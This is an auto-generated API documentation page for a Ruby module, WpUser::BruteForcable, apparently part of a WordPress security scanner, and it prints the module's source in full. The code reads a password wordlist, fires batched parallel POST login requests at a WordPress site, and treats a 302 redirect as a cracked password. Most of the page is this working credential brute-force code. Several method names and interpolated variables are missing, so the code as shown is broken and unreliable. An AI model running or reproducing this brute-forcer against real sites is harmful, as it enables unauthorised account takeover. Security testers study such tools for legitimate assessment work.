Module: WpUser::BruteForcable

Included in:
WpUser
Defined in:
lib/common/models/wp_user/brute_forcable.rb

Class Method Summary (collapse)

Instance Method Summary (collapse)

Class Method Details

+ (Array<String>) passwords_from_wordlist(wordlist)

Load the passwords from the wordlist, which can be a file path or an array or passwords

File comments are ignored, but will miss passwords if they start with a hash...

Parameters:

  • wordlist (String, Array<String>)

Returns:



125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
# File 'lib/common/models/wp_user/brute_forcable.rb', line 125

def self.passwords_from_wordlist(wordlist)
  if wordlist.is_a?(String)
    passwords = []
    charset   = File.charset(wordlist).upcase
    opt       = "r:#{charset}"
    # To remove warning when charset = UTF-8
    # Ignoring internal encoding UTF-8: it is identical to external encoding utf-8
    opt      += ':UTF-8' if charset != 'UTF-8'

    File.open(wordlist, opt).each do |line|
      next if line[0,1] == '#'

      passwords << line.strip
    end
  elsif wordlist.is_a?(Array)
    passwords = wordlist
  else
    raise 'Invalid wordlist, expected String or Array'
  end

  passwords
end

Instance Method Details

- (void) brute_force(wordlist, options = {})

This method returns an undefined value.

Brute force the user with the wordlist supplied

It can take a long time to queue 2 million requests, for that reason, we queue browser.max_threads, send browser.max_threads, queue browser.max_threads and so on.

hydra.run only returns when it has recieved all of its, responses. This means that while we are waiting for browser.max_threads, responses, we are waiting...

Parameters:

  • wordlist (String, Array<String>)

    The wordlist path

  • options (Hash) (defaults to: {})

Options Hash (options):

  • :verbose (Boolean)
  • :show_progression (Boolean)


22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# File 'lib/common/models/wp_user/brute_forcable.rb', line 22

def brute_force(wordlist, options = {})
  browser      = Browser.instance
  hydra        = browser.hydra
  passwords    = BruteForcable.passwords_from_wordlist(wordlist)
  queue_count  = 0
  found        = false
  progress_bar = self.progress_bar(passwords.size, options)

  passwords.each do |password|
    request = (password)

    request.on_complete do |response|
      progress_bar.progress += 1 if options[:show_progression] && !found

      puts "\n  Trying Username : #{} Password : #{password}" if options[:verbose]

      if valid_password?(response, password, options)
        found         = true
        self.password = password
        return
      end
    end

    hydra.queue(request)
    queue_count += 1

    if queue_count >= browser.max_threads
      hydra.run
      queue_count = 0
      puts "Sent #{browser.max_threads} requests ..." if options[:verbose]
    end
  end

  # run all of the remaining requests
  hydra.run
end

- (Typhoeus::Request) login_request(password)

Parameters:

  • password (String)

Returns:



79
80
81
82
83
84
85
# File 'lib/common/models/wp_user/brute_forcable.rb', line 79

def (password)
  Browser.instance.forge_request(,
    method: :post,
    body: { log: , pwd: password },
    cache_ttl: 0
  )
end

- (ProgressBar) progress_bar(passwords_size, options)

:nocov:

Parameters:

  • targets_size (Integer)
  • options (Hash)

Returns:

  • (ProgressBar)


64
65
66
67
68
69
70
71
72
73
# File 'lib/common/models/wp_user/brute_forcable.rb', line 64

def progress_bar(passwords_size, options)
  if options[:show_progression]
    ProgressBar.create(
      format: '%t %a <%B> (%c / %C) %P%% %e',
      title: "  Brute Forcing '#{}'",
      length: 120,
      total: passwords_size
    )
  end
end

- (Boolean) valid_password?(response, password, options = {})

Parameters:

Options Hash (options):

  • :verbose (Boolean)
  • :show_progression (Boolean)

Returns:

  • (Boolean)


94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
# File 'lib/common/models/wp_user/brute_forcable.rb', line 94

def valid_password?(response, password, options = {})
  if response.code == 302
    progression = "#{green('[SUCCESS]')} Login : #{} Password : #{password}\n\n"
    valid       = true
  elsif response.body =~ /login_error/i
    verbose = "\n  Incorrect login and/or password."
  elsif response.timed_out?
    progression = "#{red('ERROR:')} Request timed out."
  elsif response.code == 0
    progression = "#{red('ERROR:')} No response from remote server. WAF/IPS?"
  elsif response.code.to_s =~ /^50/
    progression = "#{red('ERROR:')} Server error, try reducing the number of threads."
  else
    progression = "#{red('ERROR:')} We received an unknown response for #{password}..."
    verbose     = red("    Code: #{response.code}\n    Body: #{response.body}\n")
  end

  puts "\n  " + progression if progression && options[:show_progression]
  puts verbose if verbose && options[:verbose]

  valid || false
end